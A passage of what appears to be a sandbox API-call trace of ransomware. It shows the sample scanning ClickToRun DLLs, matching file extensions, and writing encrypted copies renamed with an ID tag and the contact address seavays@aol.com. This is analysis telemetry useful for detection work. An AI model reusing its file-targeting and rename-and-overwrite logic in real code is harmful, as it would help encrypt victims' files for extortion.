(lpString=".jpg") returned 4 [0068.849] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.849] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.849] lstrlenW (lpString="AppVIsvVirtualization.dll") returned 25 [0068.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0068.850] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=567512) returned 1 [0068.850] CloseHandle (hObject=0x384) returned 1 [0068.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0068.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0068.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0068.850] lstrlenW (lpString=".doc") returned 4 [0068.850] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.850] lstrlenW (lpString=".docx") returned 5 [0068.850] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0068.850] lstrlenW (lpString=".pdf") returned 4 [0068.850] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.850] lstrlenW (lpString=".xls") returned 4 [0068.850] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.850] lstrlenW (lpString=".xlsx") returned 5 [0068.851] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0068.851] lstrlenW (lpString=".ppt") returned 4 [0068.851] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0068.851] lstrlenW (lpString=".zip") returned 4 [0068.851] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.851] lstrlenW (lpString=".rar") returned 4 [0068.851] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.851] lstrlenW (lpString=".bz2") returned 4 [0068.851] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.851] lstrlenW (lpString=".7z") returned 3 [0068.851] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0068.851] lstrlenW (lpString=".dbf") returned 4 [0068.851] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0068.851] lstrlenW (lpString=".1cd") returned 4 [0068.851] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0068.851] lstrlenW (lpString=".jpg") returned 4 [0068.851] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0068.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0068.851] lstrlenW (lpString=".doc") returned 4 [0068.851] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.851] lstrlenW (lpString=".docx") returned 5 [0068.851] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0068.851] lstrlenW (lpString=".pdf") returned 4 [0068.851] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.851] lstrlenW (lpString=".xls") returned 4 [0068.851] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.851] lstrlenW (lpString=".xlsx") returned 5 [0068.851] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0068.851] lstrlenW (lpString=".ppt") returned 4 [0068.852] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0068.852] lstrlenW (lpString=".zip") returned 4 [0068.852] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.852] lstrlenW (lpString=".rar") returned 4 [0068.852] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.852] lstrlenW (lpString=".bz2") returned 4 [0068.852] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.852] lstrlenW (lpString=".7z") returned 3 [0068.852] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0068.852] lstrlenW (lpString=".dbf") returned 4 [0068.852] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0068.852] lstrlenW (lpString=".1cd") returned 4 [0068.852] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0068.852] lstrlenW (lpString=".jpg") returned 4 [0068.852] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.852] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.852] lstrlenW (lpString="AppVManifest.dll") returned 16 [0068.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0068.853] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=1231576) returned 1 [0068.853] CloseHandle (hObject=0x384) returned 1 [0068.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0068.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0068.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0068.853] lstrlenW (lpString=".doc") returned 4 [0068.853] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.853] lstrlenW (lpString=".docx") returned 5 [0068.853] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0068.853] lstrlenW (lpString=".pdf") returned 4 [0068.853] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.853] lstrlenW (lpString=".xls") returned 4 [0068.853] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.853] lstrlenW (lpString=".xlsx") returned 5 [0068.853] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0068.853] lstrlenW (lpString=".ppt") returned 4 [0068.853] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0068.853] lstrlenW (lpString=".zip") returned 4 [0068.853] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.854] lstrlenW (lpString=".rar") returned 4 [0068.854] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.854] lstrlenW (lpString=".bz2") returned 4 [0068.854] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.854] lstrlenW (lpString=".7z") returned 3 [0068.854] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0068.854] lstrlenW (lpString=".dbf") returned 4 [0068.854] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0068.854] lstrlenW (lpString=".1cd") returned 4 [0068.854] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0068.854] lstrlenW (lpString=".jpg") returned 4 [0068.854] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0068.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0068.854] lstrlenW (lpString=".doc") returned 4 [0068.854] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.854] lstrlenW (lpString=".docx") returned 5 [0068.854] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0068.854] lstrlenW (lpString=".pdf") returned 4 [0068.854] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.854] lstrlenW (lpString=".xls") returned 4 [0068.854] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.854] lstrlenW (lpString=".xlsx") returned 5 [0068.854] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0068.854] lstrlenW (lpString=".ppt") returned 4 [0068.854] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0068.854] lstrlenW (lpString=".zip") returned 4 [0068.855] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.855] lstrlenW (lpString=".rar") returned 4 [0068.855] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.855] lstrlenW (lpString=".bz2") returned 4 [0068.855] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.855] lstrlenW (lpString=".7z") returned 3 [0068.855] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0068.855] lstrlenW (lpString=".dbf") returned 4 [0068.855] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0068.855] lstrlenW (lpString=".1cd") returned 4 [0068.855] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0068.855] lstrlenW (lpString=".jpg") returned 4 [0068.855] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.855] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.855] lstrlenW (lpString="AppVOrchestration.dll") returned 21 [0068.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0068.855] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=947928) returned 1 [0068.855] CloseHandle (hObject=0x384) returned 1 [0068.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0068.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0068.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0068.865] lstrlenW (lpString=".doc") returned 4 [0068.865] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.865] lstrlenW (lpString=".docx") returned 5 [0068.865] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0068.865] lstrlenW (lpString=".pdf") returned 4 [0068.865] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.865] lstrlenW (lpString=".xls") returned 4 [0068.865] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.865] lstrlenW (lpString=".xlsx") returned 5 [0068.865] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0068.865] lstrlenW (lpString=".ppt") returned 4 [0068.865] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0068.865] lstrlenW (lpString=".zip") returned 4 [0068.865] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.865] lstrlenW (lpString=".rar") returned 4 [0068.865] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.865] lstrlenW (lpString=".bz2") returned 4 [0068.865] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.865] lstrlenW (lpString=".7z") returned 3 [0068.865] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0068.865] lstrlenW (lpString=".dbf") returned 4 [0068.865] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0068.865] lstrlenW (lpString=".1cd") returned 4 [0068.865] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0068.865] lstrlenW (lpString=".jpg") returned 4 [0068.865] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0068.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0068.866] lstrlenW (lpString=".doc") returned 4 [0068.866] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.866] lstrlenW (lpString=".docx") returned 5 [0068.866] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0068.866] lstrlenW (lpString=".pdf") returned 4 [0068.866] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.866] lstrlenW (lpString=".xls") returned 4 [0068.866] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.866] lstrlenW (lpString=".xlsx") returned 5 [0068.866] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0068.866] lstrlenW (lpString=".ppt") returned 4 [0068.866] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0068.866] lstrlenW (lpString=".zip") returned 4 [0068.866] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.866] lstrlenW (lpString=".rar") returned 4 [0068.866] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.866] lstrlenW (lpString=".bz2") returned 4 [0068.866] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.866] lstrlenW (lpString=".7z") returned 3 [0068.866] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0068.866] lstrlenW (lpString=".dbf") returned 4 [0068.866] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0068.866] lstrlenW (lpString=".1cd") returned 4 [0068.866] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0068.866] lstrlenW (lpString=".jpg") returned 4 [0068.866] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.867] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.867] lstrlenW (lpString="AppVPolicy.dll") returned 14 [0068.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0068.867] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=1295576) returned 1 [0068.867] CloseHandle (hObject=0x384) returned 1 [0068.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0068.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0068.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0068.867] lstrlenW (lpString=".doc") returned 4 [0068.867] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.868] lstrlenW (lpString=".docx") returned 5 [0068.868] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0068.868] lstrlenW (lpString=".pdf") returned 4 [0068.868] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.868] lstrlenW (lpString=".xls") returned 4 [0068.868] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.868] lstrlenW (lpString=".xlsx") returned 5 [0068.868] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0068.868] lstrlenW (lpString=".ppt") returned 4 [0068.868] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0068.868] lstrlenW (lpString=".zip") returned 4 [0068.868] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.868] lstrlenW (lpString=".rar") returned 4 [0068.868] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.868] lstrlenW (lpString=".bz2") returned 4 [0068.868] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.868] lstrlenW (lpString=".7z") returned 3 [0068.868] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0068.868] lstrlenW (lpString=".dbf") returned 4 [0068.868] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0068.868] lstrlenW (lpString=".1cd") returned 4 [0068.868] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0068.868] lstrlenW (lpString=".jpg") returned 4 [0068.868] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0068.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0068.868] lstrlenW (lpString=".doc") returned 4 [0068.868] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.868] lstrlenW (lpString=".docx") returned 5 [0068.869] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0068.869] lstrlenW (lpString=".pdf") returned 4 [0068.869] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.869] lstrlenW (lpString=".xls") returned 4 [0068.869] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.869] lstrlenW (lpString=".xlsx") returned 5 [0068.869] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0068.869] lstrlenW (lpString=".ppt") returned 4 [0068.869] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0068.869] lstrlenW (lpString=".zip") returned 4 [0068.869] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.869] lstrlenW (lpString=".rar") returned 4 [0068.869] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.869] lstrlenW (lpString=".bz2") returned 4 [0068.869] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.869] lstrlenW (lpString=".7z") returned 3 [0068.869] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0068.869] lstrlenW (lpString=".dbf") returned 4 [0068.869] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0068.869] lstrlenW (lpString=".1cd") returned 4 [0068.869] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0068.869] lstrlenW (lpString=".jpg") returned 4 [0068.869] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.869] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.869] lstrlenW (lpString="AppVScripting.dll") returned 17 [0068.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0068.870] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=512216) returned 1 [0068.870] CloseHandle (hObject=0x384) returned 1 [0068.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0068.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0068.871] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.871] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0068.871] GetLastError () returned 0x0 [0068.871] ReadFile (in: hFile=0x384, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x7d0d8, lpOverlapped=0x0) returned 1 [0068.883] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x7d0e0, lpOverlapped=0x0) returned 1 [0069.202] ReadFile (in: hFile=0x384, lpBuffer=0x38d0020, 